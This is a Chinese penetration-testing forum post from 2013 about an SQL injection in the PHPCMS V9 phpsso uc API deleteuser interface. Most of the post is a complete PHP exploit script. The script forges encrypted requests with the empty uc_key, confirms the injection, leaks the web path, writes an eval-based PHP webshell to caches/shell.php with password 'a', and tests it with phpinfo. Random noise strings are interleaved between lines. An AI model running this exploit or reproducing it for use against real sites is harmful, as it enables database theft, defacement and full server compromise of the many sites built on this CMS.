中国网络渗透测试联盟
标题:
PHPCMS V9 uc API SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-9 01:22
标题:
PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
: J8 z& a% [7 U
( d4 Z! Q7 k. L6 m8 x
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
9 o1 W" `5 v1 E) O2 X6 R
0 r5 a- r- e7 _4 g# u- i
漏洞分析:
& T: e; u9 H9 z @1 x
1.未启用ucenter服务的情况下uc_key为空
( N( Q. D7 x7 M5 M/ n* G8 N
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
5 U ~: K0 C9 H K: d
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
- V; \- J' }9 f. `8 i. \; A. x% k$ ~
public function deleteuser($get,$post) {
, D p$ N! E9 }& [5 t
pc_base::load_app_func('global', 'admin');
( q( [: C2 u' R" g {; K5 Q
pc_base::load_app_class('messagequeue', 'admin' , 0);
6 v7 g, E1 ?! K) D6 a$ J+ ]7 |
$ids = new_stripslashes($get['ids']);
9 h4 s9 u/ h) g0 p1 J! d
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
9 H$ b( j; r$ o8 i/ j7 |
SQL语句为
8 [+ s0 a4 d$ Y2 v+ _
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
/ k# J% O! ~6 j
# Y( r. h6 q' a7 S' L
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
% d5 h' P; e! e# V! [
<?php
/ T7 _4 u& Y) c0 ?6 x
print_r('
% q; M& ` l8 R
---------------------------------------------------------------------------
7 I$ k( [" f& Q" a
PHPcms (v9 or Old Version) uc api sql injection 0day
9 x: j) n/ C9 D8 Y) k( x
by rayh4c#80sec.com
. |+ W% K+ u2 e' G9 n3 A/ y
---------------------------------------------------------------------------
. H; _$ m+ ~) f; O
');
4 f1 g* V9 B6 P! ~* [# Z
K& R1 L6 j* f9 y, J0 A5 m, V0 M
if ($argc<3) {
6 v/ t: m/ P1 ]# P0 R9 {0 H
print_r('
, x( {5 Q/ G* r* x( [0 L% t. Q K
---------------------------------------------------------------------------
; g1 U0 x) I* M/ F) I6 ?
Usage: php '.$argv[0].' host path OPTIONS
' R" ^ [- c4 w; k
host: target server (ip/hostname)
" ^, {# S/ c9 _! j8 r
path: path to phpcms
. c G/ }6 w4 q+ ^- d5 p( D) V% z
Options:
- ?; u( p9 A E5 H Q) B) z; R
-p[port]: specify a port other than 80
6 _, q0 x) ]* F: w1 Z: `: w
-P[ip:port]: specify a proxy
; l4 O4 a& _% s% N2 a* A( M
Example:
M) k2 M/ \4 f% w* e0 M. R
php '.$argv[0].' localhost /
" u0 V) R& d: z
php '.$argv[0].' localhost /phpcms/ -p81
7 V0 K8 N% Y+ S* Q. B$ D2 V2 x
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
9 A- U3 R) R7 p/ F
---------------------------------------------------------------------------
; W8 b# ]. p4 \+ h& L5 u, ?
');
( E0 R' s' q# U( J
die;
2 [/ c2 I, |6 B+ b' `
}
: W5 r! r7 @6 s5 w9 r7 w) P- W2 a
, { d; f# [5 k. f8 Z' n" f
error_reporting(7);
! H; `8 m# X9 `" c. o0 ^- I, V* C% k
ini_set("max_execution_time",0);
1 E, f. q) `0 K( Q$ W3 x7 h
ini_set("default_socket_timeout",5);
! p7 j4 S" h1 g+ ^1 n0 n$ B
% g1 m1 H! d: ^! M8 ^* k& b) r1 u
function quick_dump($string)
3 f' A- F+ P1 g9 M
{
9 O! d; z5 X* T% a6 x: O
$result='';$exa='';$cont=0;
* N: i q* @6 W7 @7 M$ v' w- O
for ($i=0; $i<=strlen($string)-1; $i++)
* u# m* O& i8 u( t Y- `) ?
{
. R6 ?' b% D! N6 R a
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
8 Z' q. p1 e7 q! @% ^9 B
{$result.=" .";}
& ^; u) ] N% [' D; ^$ d' i# k+ d8 C& d
else
' _4 Y' |9 }+ e; x' p9 d$ w
{$result.=" ".$string[$i];}
, f! P# ]& ^ C0 r+ [8 I$ _' e
if (strlen(dechex(ord($string[$i])))==2)
0 B$ ^2 M1 q! f1 ?
{$exa.=" ".dechex(ord($string[$i]));}
& Z! J0 @8 L4 [5 H* ?7 y
else
4 M' T3 S- Q8 o% x1 \
{$exa.=" 0".dechex(ord($string[$i]));}
- P; p5 H* z- j) O
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
/ P6 j! G# U0 i- t1 K
}
* ^3 p! c8 f! _$ ?
return $exa."\r\n".$result;
, m; Z; a4 h. _4 a, x/ O
}
P( F d, H8 G3 \: y0 b1 I
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+ J. s" {% K' [5 s, B
! F9 Q8 {0 ]' Q( ?$ Y
function send($packet)
; v- P6 s# o* {3 @2 o
{
- ]" Z; t' R+ h! o% G
global $proxy, $host, $port, $html, $proxy_regex;
R8 u: d- m( ~# t# V
if ($proxy=='') {
+ k, [% z5 ]8 o# ^- t( `
$ock=fsockopen(gethostbyname($host),$port);
+ X1 n7 X- C; v. [1 g" H7 V6 A% Z
if (!$ock) {
! _0 p: i' a6 _1 Y
echo 'No response from '.$host.':'.$port; die;
# Q3 ^$ L6 }$ C
}
! {/ ]4 |# \' v4 m2 D
}
* g& S5 a" i" B) Y* T; V
else {
* E& i, W. E" L1 Z4 r
$c = preg_match($proxy_regex,$proxy);
4 G9 X% h4 s; g a
if (!$c) {
: R0 y/ i3 H* m1 ]: r
echo 'Not a valid proxy...';die;
( _% _. ]! M+ y3 y$ w
}
* q* P2 p4 H2 S4 Z' t5 Z7 j
$parts=explode(':',$proxy);
+ `; D6 F) ~, z! z
$parts[1]=(int)$parts[1];
& @* D4 B+ C0 j, D# R: D
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
! x) j+ x; T6 @9 d! n& T: h1 j
$ock=fsockopen($parts[0],$parts[1]);
, _9 t+ q9 ^3 p8 s2 P$ a& P
if (!$ock) {
+ h$ t: E) g7 h7 C0 B
echo 'No response from proxy...';die;
5 q( S8 a! P% @# O- Z/ ~ \
}
9 i' [+ u; d% F
}
5 v8 s [. V# E. b5 a+ r- G: j0 @9 a, `2 t
fputs($ock,$packet);
2 R) C$ ~/ [; [' b# }% F0 p; [
if ($proxy=='') {
9 w$ Z; L! l/ @% r7 n
$html='';
1 R5 n$ ?+ G) r& `
while (!feof($ock)) {
8 K* {2 f2 c, J9 }, y5 n" d: d8 C7 ?
$html.=fgets($ock);
. Y$ C7 E- a7 Z |* E& L
}
) b) @9 Q% l; M4 s+ v9 Q) U
}
. B/ |9 U1 Y# K* u2 B
else {
8 o; Q# y( V' p6 z
$html='';
) h# C7 J+ q& h. M0 A0 o( ?
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
1 i; }# [8 E; N2 A( V
$html.=fread($ock,1);
5 W+ c7 v( _: p% y, w
}
7 C( b8 s4 ^) ^$ r+ c. h
}
# x1 W: a- T2 u3 b
fclose($ock);
' b5 S3 B N; j9 w7 y
}
$ `: N9 R+ r5 y% S- G
3 @4 E% V N9 M- \9 G
$host=$argv[1];
3 P: j2 c# E! C$ ?2 @
$path=$argv[2];
- q% `% \& _4 k4 [0 B8 @
$port=80;
3 N' v& @ _/ u5 J
$proxy="";
: z4 C4 Q+ F0 K& y6 x( r& _
for ($i=3; $i<$argc; $i++){
x4 z$ z# D: j3 M% Z. e
$temp=$argv[$i][0].$argv[$i][1];
+ {4 A6 v8 k. E6 q1 _! j
if ($temp=="-p")
9 _' i6 R% T M, V8 [# R C
{
; ] Z* F' |7 ^: b
$port=(int)str_replace("-p","",$argv[$i]);
# [3 M4 L4 E9 R
}
- v& ^( p) l5 V4 ^ X7 R& h
if ($temp=="-P")
4 l x* U" T8 U |$ o* o
{
4 M% G/ u8 n1 L/ I
$proxy=str_replace("-P","",$argv[$i]);
1 S& f, d6 R! l" e
}
; U) u1 @9 z' \" b
}
9 M1 R& U. b, L c% @0 s' j; f
; _. p# r& ^$ G7 j8 j: e! y
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
% V! Z: A9 O" w9 W9 W2 D. H. B
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
4 q4 ^* {( H, e" X7 p; o! d% v
; a1 K' L0 V' l( u8 Q
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
8 m3 I; C. L0 g
6 Z( I5 H3 z5 p1 P4 o& w& {( G6 q$ s
$ckey_length = 4;
4 X$ c/ m' C d7 E4 S
2 j e3 h) W4 U8 N2 P. I& n
$key = md5($key ? $key : '');
: D9 T3 x8 g$ Q. u5 K+ |
$keya = md5(substr($key, 0, 16));
4 O& i0 t- @) Z* x* D3 R8 `: x
$keyb = md5(substr($key, 16, 16));
2 n) P2 E5 l8 s2 F
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
! b ?; | R. ?; Q4 Q
2 a3 Z6 R! X- A( O+ M8 v
$cryptkey = $keya.md5($keya.$keyc);
/ J3 y% c8 J2 }1 h5 I' v
$key_length = strlen($cryptkey);
. r$ ^/ S% n, b6 I
' D2 E3 b- U* [& @# S
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
3 b8 H8 o% a; ` Y' C- w
$string_length = strlen($string);
- ?6 ]7 Q6 F* {- a
8 @% w2 Q$ o& v, B; \" p
$result = '';
! ~/ Y6 h/ e/ K v7 ~
$box = range(0, 255);
, L- V: x2 P" X0 {2 C6 K
) p" u% u5 m0 I
$rndkey = array();
( s1 ^1 K# _. C5 B
for($i = 0; $i <= 255; $i++) {
# e9 ]6 J' c1 {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
K3 ]- i' v9 K& c4 O
}
1 v5 |9 M9 D3 J9 m. ]" Q
/ o" l' ^/ J5 m- u; U
for($j = $i = 0; $i < 256; $i++) {
5 _5 f$ I- S& W. X3 `- O
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
0 w ]( H4 ]* y, C5 M' y0 N5 O Q
$tmp = $box[$i];
) W' O5 x! F- [! C4 _7 ?: g1 `; H8 ]
$box[$i] = $box[$j];
* V3 ^: E1 ]& w# J& ^6 x+ R" }+ H& t
$box[$j] = $tmp;
, E# h# G- A4 {' o. \
}
" w W1 f. I$ r4 u, D2 F( X
1 d9 y) ^) n, w7 l' g3 c
for($a = $j = $i = 0; $i < $string_length; $i++) {
+ ^, w6 z. p' B1 E8 z' ~. }
$a = ($a + 1) % 256;
6 p9 m; h3 J4 n6 Z0 w3 K( N2 \6 N
$j = ($j + $box[$a]) % 256;
. {% b! d* B ]2 Z/ ]: d7 x
$tmp = $box[$a];
! T* C1 a- o, G5 ]6 W
$box[$a] = $box[$j];
. q, `- K$ M+ h. R
$box[$j] = $tmp;
8 S& H. @$ {, e1 }$ O
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
& r* t9 A' o. H# _* `, L
}
6 l# l0 f- c5 T9 I/ c9 ]2 L8 ]
" l" V4 U) X; j3 Z
if($operation == 'DECODE') {
8 D- e( q) A0 n4 M
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
( l& {& [. W: j5 Z
return substr($result, 26);
~* B' J$ W# Q& |, c g$ V2 Y
} else {
9 a+ i P+ f% c- V
return '';
; a" I. k* l( w1 B: g4 z0 E- A
}
& F3 s! S5 _. s6 v; e
} else {
9 {' }% k0 I4 ~! c
return $keyc.str_replace('=', '', base64_encode($result));
. p+ W/ ]6 K* H5 t' N
}
) ^5 y) H& T# O; N/ U! c8 o0 d8 L( X
( ~. b7 y1 T: y7 y4 U
}
; m- x% j; V7 u# R( [5 Z0 p
* o2 a8 I/ ]+ b
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
) D4 U8 S1 m. w
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
# f: p2 Z( s4 J* ~+ X, j& C4 x
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
+ v' @3 S" e8 ]! u# j7 o. [) O3 ?
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
9 c. v7 Y( K+ e- D
$packet.="User-Agent: Mozilla/5.0\r\n";
- D% ?% s& y5 b
$packet.="Host: ".$host."\r\n";
0 H& D2 a! x. q/ ]% s$ ^* B t
$packet.="Connection: Close\r\n\r\n";
+ U3 c+ S1 d6 x' C
send($packet);
- o8 J+ }! }+ P7 I% r
if(strpos($html,"MySQL Errno") > 0){
* _6 F/ ]3 }2 w6 a
echo "[2] 发现存在SQL注入漏洞"."\n";
0 m8 b/ L& M! ?( j$ w- g
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
4 G& G- ^4 ?" c4 d. n8 y
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! A, ]9 q L3 s4 a5 Z8 c
$packet.="User-Agent: Mozilla/5.0\r\n";
7 d# b% L; [& u1 j2 F
$packet.="Host: ".$host."\r\n";
/ L" k/ ^6 |9 `+ S i' R2 Y N
$packet.="Connection: Close\r\n\r\n";
. W5 x- u0 e0 d( q& a# ~
send($packet);
9 k2 p/ I3 K C! E; x
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
. Y0 ]; h' ]& W2 v D. d
//print_r($matches);
0 K b( r* s1 W9 r3 N5 i
if(!empty($matches)){
4 v* d6 W! w$ g+ {, s) t! e. B! U
echo "[4] 得到web路径 " . $matches[0]."\n";
- R( k: v) A7 I, y5 R$ u
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
+ @2 i- B! B2 P: }
$SQL = "time=999999999999999999999999&ids=1)";
3 f$ \! F. p, E7 `" X
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
+ o9 w% p3 U, X$ m
$SQL.="&action=deleteuser";
$ H9 L- v7 y# a6 X% |
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
( k: Z Z, M# \2 C' Z. W) c7 k
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
8 Q2 `' h7 h7 i, @; [$ n
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
2 e7 d u6 ^' v$ G
$packet.="User-Agent: Mozilla/5.0\r\n";
/ \' \3 T+ X4 H* A' f3 G" j
$packet.="Host: ".$host."\r\n";
/ n3 e% j- h5 M n4 `9 X
$packet.="Connection: Close\r\n\r\n";
# W2 q( S3 d0 L! O* {8 A
send($packet);
, D1 p; {: @9 Z# `. B
if(strpos($html,"Access denied") > 0){
' T8 ?4 g. H4 T
echo "[-] MYSQL权限过低 禁止写入文件
";
! A( ]5 Q- n7 R2 ~0 @4 m3 a: X
die;
' W F# e/ R2 B# c- d* m
}
+ d8 ` P& k% s; c. h
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
" G/ N+ Y+ d- p8 S9 L
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
8 |4 o8 c- i, l# w5 _! C
$packet.="User-Agent: Mozilla/5.0\r\n";
# S& Q2 }4 G8 Y4 S2 U
$packet.="Host: ".$host."\r\n";
* x# \/ k. r6 W7 v4 K; N* j
$packet.="Connection: Close\r\n\r\n";
0 Z4 `+ F9 Y* V
send($packet);
" x4 K) Y; y" i0 \$ A7 E( _
if(strpos($html,"<title>phpinfo()</title>") > 0){
* s0 d" B; J5 J$ R* R/ W
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it
";
: T0 W( _% |+ r' u& h
}
& ~6 l. }/ J! t5 s; @& e+ I
}else{
; ~, c. H, c4 E6 p! `
echo "[-]未取到web路径
";
" |* ~5 H% K& \( P5 y
}
5 S: D" f* ?: v, Y
}else{
6 ^2 H+ j# c Z
echo "[*]不存在SQL注入漏洞"."\n";
2 u) S p2 `( f' X
}
! j3 O5 D$ Y: [% X% J1 T/ K7 |
4 m% V( J% D! n' u
?>
/ r# m' E {# y( ?
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2